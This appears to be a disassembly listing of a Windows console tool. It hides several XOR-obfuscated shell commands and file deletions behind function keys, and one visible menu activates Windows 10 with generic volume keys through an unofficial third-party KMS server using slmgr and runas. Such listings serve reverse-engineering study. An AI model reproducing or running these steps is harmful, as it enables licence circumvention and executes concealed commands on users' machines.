movsd xmm0, qword [0x14000bfe0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14000bfe8]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14000bfec]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14000bfee]
mov byte [rbp - 0x32], al
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor ecx, ecx
cmp esi, 2
jl 0x14000499e
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14000c160]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000c180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14000c340]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14000bfe0]
xorps xmm2, xmm0
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x14000c170]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000c180]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jl 0x1400049b0
lea rdx, [rbp - 0x40]
mov rcx, r9
call fcn.140008fb0
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140004a98
nop dword [rax + rax]
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400085b0
mov ecx, 0x72
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140007e3c
mov ecx, 0x73
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140007a56
mov ecx, 0x74
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140005f38
mov ecx, 0x75
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140005a98
mov ecx, 0x76
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400057bf
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140004f28
mov ecx, 0x70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140004a00
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str._DZYQQW_ego]
movups xmmword [rbp + 0x368], xmm0
mov eax, dword [0x14000b9b8]
mov dword [rbp + 0x378], eax
movzx eax, word [0x14000b9bc]
mov word [rbp + 0x37c], ax
cmp byte [0x14000b9bd], 0
je 0x140004c6c
xor ecx, ecx
cmp esi, 2
jl 0x140004c30
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x36c]
mov r8d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140004b30
cmp ecx, 0x16
jge 0x140004c6c
movsxd rax, ecx
lea r8, [rbp + 0x368]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140004c40
lea rdx, [rbp + 0x368]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x11f0], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1200], xmm1
movdqa xmm0, xmmword [str.jkABJNAKRT_a]
movdqu xmmword [rbp + 0x1210], xmm0
movdqa xmm1, xmmword [0x14000c250]
movdqu xmmword [rbp + 0x1220], xmm1
movdqa xmm0, xmmword [0x14000c560]
movdqu xmmword [rbp + 0x1230], xmm0
movdqa xmm1, xmmword [0x14000c2f0]
movdqu xmmword [rbp + 0x1240], xmm1
movdqa xmm0, xmmword [str.._L_rC_:0]
movdqu xmmword [rbp + 0x1250], xmm0
movdqa xmm1, xmmword [0x14000c400]
movdqu xmmword [rbp + 0x1260], xmm1
mov dword [rbp + 0x1270], 0xe90c5350
mov dword [rbp + 0x1274], 0xf0ede7ed
mov word [rbp + 0x1278], 0x100
lea rcx, [rbp + 0x11f0]
call fcn.140008d50
lea rcx, [rbp + 0x11f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1350], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1360], xmm1
movdqa xmm0, xmmword [0x14000c2c0]
movdqu xmmword [rbp + 0x1370], xmm0
movdqa xmm1, xmmword [0x14000c260]
movdqu xmmword [rbp + 0x1380], xmm1
movdqa xmm0, xmmword [0x14000c590]
movdqu xmmword [rbp + 0x1390], xmm0
movdqa xmm1, xmmword [0x14000c370]
movdqu xmmword [rbp + 0x13a0], xmm1
movdqa xmm0, xmmword [0x14000c2d0]
movdqu xmmword [rbp + 0x13b0], xmm0
movdqa xmm1, xmmword [0x14000c3f0]
movdqu xmmword [rbp + 0x13c0], xmm1
mov dword [rbp + 0x13d0], 0xe513170e
mov dword [rbp + 0x13d4], 0x100f6ef
lea rcx, [rbp + 0x1350]
call fcn.140008d20
lea rcx, [rbp + 0x1350]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c580]
movdqu xmmword [rbp + 0x1280], xmm0
movdqa xmm1, xmmword [0x14000c4b0]
movdqu xmmword [rbp + 0x1290], xmm1
movdqa xmm0, xmmword [0x14000c410]
movdqu xmmword [rbp + 0x12a0], xmm0
mov word [rbp + 0x12b0], 0x100
lea rcx, [rbp + 0x1280]
call fcn.140008cf0
lea rcx, [rbp + 0x1280]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c470]
movdqu xmmword [rbp + 0x88], xmm0
mov dword [rbp + 0x98], 0x686a207f
mov word [rbp + 0x9c], 0x74
mov byte [rbp + 0x9e], 1
lea rcx, [rbp + 0x88]
call fcn.140008cc0
lea rcx, [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x14000c5d0]
movdqu xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0x38], 0x63213f52
mov dword [rbp + 0x3c], 0x1006168
lea rcx, [rbp + 0x28]
call fcn.140008c90
lea rcx, [rbp + 0x28]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [str._DZYQ__e1_]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x14000ba40]
mov word [rsp + 0x78], ax
cmp byte [0x14000ba41], 0
je 0x140004f07
mov byte [rsp + 0x70], 0x53
xor byte [rsp + 0x71], 0x34
xor byte [rsp + 0x72], 0x35
xor byte [rsp + 0x73], 0x36
xor byte [rsp + 0x74], 0x37
xor byte [rsp + 0x75], 0x38
xor byte [rsp + 0x76], 0x39
xor byte [rsp + 0x77], 0x3a
xor byte [rsp + 0x78], 0x3b
xor byte [rsp + 0x79], 0x3c
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001250
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str.rWA_AYMSU_]
movups xmmword [rbp + 0x3e0], xmm0
movsd xmm0, qword [0x14000bb38]
movsd qword [rbp + 0x3f0], xmm0
movzx eax, byte [0x14000bb40]
mov byte [rbp + 0x3f8], al
xor ecx, ecx
cmp esi, 2
jl 0x1400050c0
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x3e4]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140004fc0
cmp ecx, 0x19
jge 0x1400050fc
movsxd rax, ecx
lea r8, [rbp + 0x3e0]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x19
jl 0x1400050d0
lea rdx, [rbp + 0x3e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.MODE_CON_COLS45_LINES19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Choose_your_Windows_10_version:__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._1___Home__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._2___Home_N__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._3___Home_Single_Language__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._4___Home_Country_Specific__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._5___Professional__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._6___Professional_N__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._7___Education__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._8___Education_N__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._9___Enterprise__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._10__Enterprise_N__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str._0___Exit__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, str.Windows_10_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rdx, [rbp + 0x16b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
lea rdx, str.TX9XD_98N7V_6WMQ6_BX7FG_H8Q99
lea rcx, [rbp + 0x1758]
call fcn.140008e70
nop
lea rdx, str.3KHY7_WNT83_DGQKR_F7HPR_844BM
lea rcx, [rbp + 0x1778]
call fcn.140008e70
nop
lea rdx, str.7HNRX_D7KGG_3K4RQ_4WPJ4_YTDFH
lea rcx, [rbp + 0x1798]
call fcn.140008e70
nop
lea rdx, str.PVMJN_6DFY6_9CCP6_7BKTT_D3WVR
lea rcx, [rbp + 0x17b8]
call fcn.140008e70
nop
lea rdx, str.W269N_WFGWX_YVC9B_4J6C9_T83GX
lea rcx, [rbp + 0x17d8]
call fcn.140008e70
nop
lea rdx, str.MH37W_N47XK_V7XM9_C7227_GCQG9
lea rcx, [rbp + 0x17f8]
call fcn.140008e70
nop
lea rdx, str.NW6C2_QMPVW_D7KKK_3GKT6_VCFB2
lea rcx, [rbp + 0x1818]
call fcn.140008e70
nop
lea rdx, str.2WH4N_8QGBV_H22JP_CT43Q_MDWWJ
lea rcx, [rbp + 0x16f8]
call fcn.140008e70
nop
lea rdx, str.NPPR9_FWDCX_D2C8J_H872K_2YT43
lea rcx, [rbp + 0x1718]
call fcn.140008e70
nop
lea rdx, str.DPH2V_TTNVB_4X9Q3_TJR4H_KHJW4
lea rcx, [rbp + 0x1738]
call fcn.140008e70
nop
lea rcx, [rbp + 0x16d8]
call fcn.140009520
lea rcx, [rbp + 0x16d8]
call fcn.140008eb0
nop
lea rcx, [rbp + 0x16b8]
call fcn.140009520
lea rcx, [rbp + 0x16b8]
call fcn.140008eb0
nop
movsxd rax, dword [rbp + 0x16b0]
cmp eax, 0xa
ja case.default.0x140005354
mov ecx, dword [r12 + rax*4 + 0x8a1c]
add rcx, r12
jmp rcx
lea rcx, [rbp + 0x16b8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x16d8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1738]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1718]
call fcn.140008e10
nop
lea rcx, [rbp + 0x16f8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1818]
call fcn.140008e10
nop
lea rcx, [rbp + 0x17f8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x17d8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x17b8]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1798]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1778]
call fcn.140008e10
nop
lea rcx, [rbp + 0x1758]
call fcn.140008e10
jmp 0x140001250
lea rbx, str.Home
mov rdi, r14
lea rdx, [rbp + 0x1758]
jmp 0x1400054c9
lea rbx, str.Home_N
mov edi, 6
lea rdx, [rbp + 0x1778]
jmp 0x1400054c9
lea rbx, str.Home_SL
mov edi, 7
lea rdx, [rbp + 0x1798]
jmp 0x1400054c9
lea rbx, str.Home_CS
mov edi, 7
lea rdx, [rbp + 0x17b8]
jmp 0x1400054c9
lea rbx, [0x14000b878]
mov edi, 3
lea rdx, [rbp + 0x17d8]
jmp 0x1400054c9
lea rbx, str.Pro_N
lea rdx, [rbp + 0x17f8]
jmp 0x1400054c4
lea rbx, [0x14000b884]
mov edi, 3
lea rdx, [rbp + 0x1818]
jmp 0x1400054c9
lea rbx, str.Edu_N
lea rdx, [rbp + 0x16f8]
jmp 0x1400054c4
lea rbx, [0x14000b890]
mov edi, 3
lea rdx, [rbp + 0x1718]
jmp 0x1400054c9
lea rbx, str.Ent_N
lea rdx, [rbp + 0x1738]
mov edi, 5
lea rcx, [rbp + 0x16d8]
call fcn.140008d80
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x16b8]
call fcn.140008ed0
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Activating_Windows_10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov rcx, rax
lea rdx, [rbp + 0x16b8]
call fcn.140009180
mov rcx, rax
lea rdx, [0x14000b89c]
call fcn.140008fb0
lea rdx, str.Entering_the_key_to_the_system__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea r8, [rbp + 0x16d8]
lea rdx, str.slmgr__ipk
lea rcx, [rbp + 0x1690]
call fcn.1400091a0
cmp qword [rax + 0x18], 0x10
jb 0x140005560
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1690]
call fcn.140008e10
lea rdx, str.Getting_connections_with_the_server__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rcx, str.runas__user:Administrator_domain_slmgr__skms_kms8.msguides.com
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Activating_Windows__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
lea rcx, str.slmgr__ato
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.You_successfully_activated_Windows_10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov rcx, rax
lea rdx, [rbp + 0x16b8]
call fcn.140009180
mov rcx, rax
lea rdx, [0x14000b97c]
call fcn.140008fb0
movups xmm0, xmmword [str.rWA_AYM__]
movups xmmword [rbp + 0x3c8], xmm0
mov eax, dword [0x14000bbf8]
mov dword [rbp + 0x3d8], eax
cmp byte [0x14000bbfb], 0
je 0x14000579c
xor ecx, ecx
cmp esi, 2
jl 0x140005761
movdqa xmm5, xmmword [0x14000c160]
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14000c180]
movd xmm8, r15d
movdqa xmm0, xmmword [0x14000c340]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x3cc]
mov r8d, dword [rsp + 0x20]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140005661
cmp ecx, 0x14
jge 0x14000579c
movsxd rax, ecx
lea r8, [rbp + 0x3c8]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140005770
lea rdx, [rbp + 0x3c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x140005354.0
lea rcx, [0x14000b4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movsd xmm0, qword [0x14000bc98]
movsd qword [rbp - 0x30], xmm0
mov eax, dword [str.oa7_]
mov dword [rbp - 0x28], eax
cmp byte [0x14000bca3], 0
je 0x14000594c
xor ecx, ecx
cmp esi, 2
jl 0x14000590b
movdqa xmm4, xmmword [0x14000c3e0]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x14000c160]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000c180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14000c340]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14000bc98]
xorps xmm2, xmm0
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x14000c170]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14000c180]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14000c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x33
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x140005920
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140008fb0
movdqa xmm0, xmmword [0x14000c430]
movdqu xmmword [rbp + 0x1450], xmm0
movdqa xmm1, xmmword [0x14000c350]
movdqu xmmword [rbp + 0x1460], xmm1
movdqa xmm0, xmmword [0x14000c280]
movdqu xmmword [rbp + 0x1470], xmm0
movdqa xmm1, xmmword [0x14000c1f0]
movdqu xmmword [rbp + 0x1480], xmm1
movdqa xmm0, xmmword [0x14000c4f0]
movdqu xmmword [rbp + 0x1490], xmm0
movdqa xmm1, xmmword [0x14000c300]
movdqu xmmword [rbp + 0x14a0], xmm1
movdqa xmm0, xmmword [str.s0__X_3_f_b]
movdqu xmmword [rbp + 0x14b0], xmm0
movdqa xmm1, xmmword [0x14000c230]
movdqu xmmword [rbp + 0x14c0], xmm1
mov dword [rbp + 0x14d0], 0xb1018
mov byte [rbp + 0x14d4], 1
lea rcx, [rbp + 0x1450]
call fcn.140008ba0
lea rcx, [rbp + 0x1450]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14000c5f0]
movdqu xmmword [rbp + 0x58], xmm0
mov dword [rbp + 0x68], 0x72217a68
mov dword [rbp + 0x6c], 0x1006670
lea rcx, [rbp + 0x58]
call fcn.140008c90
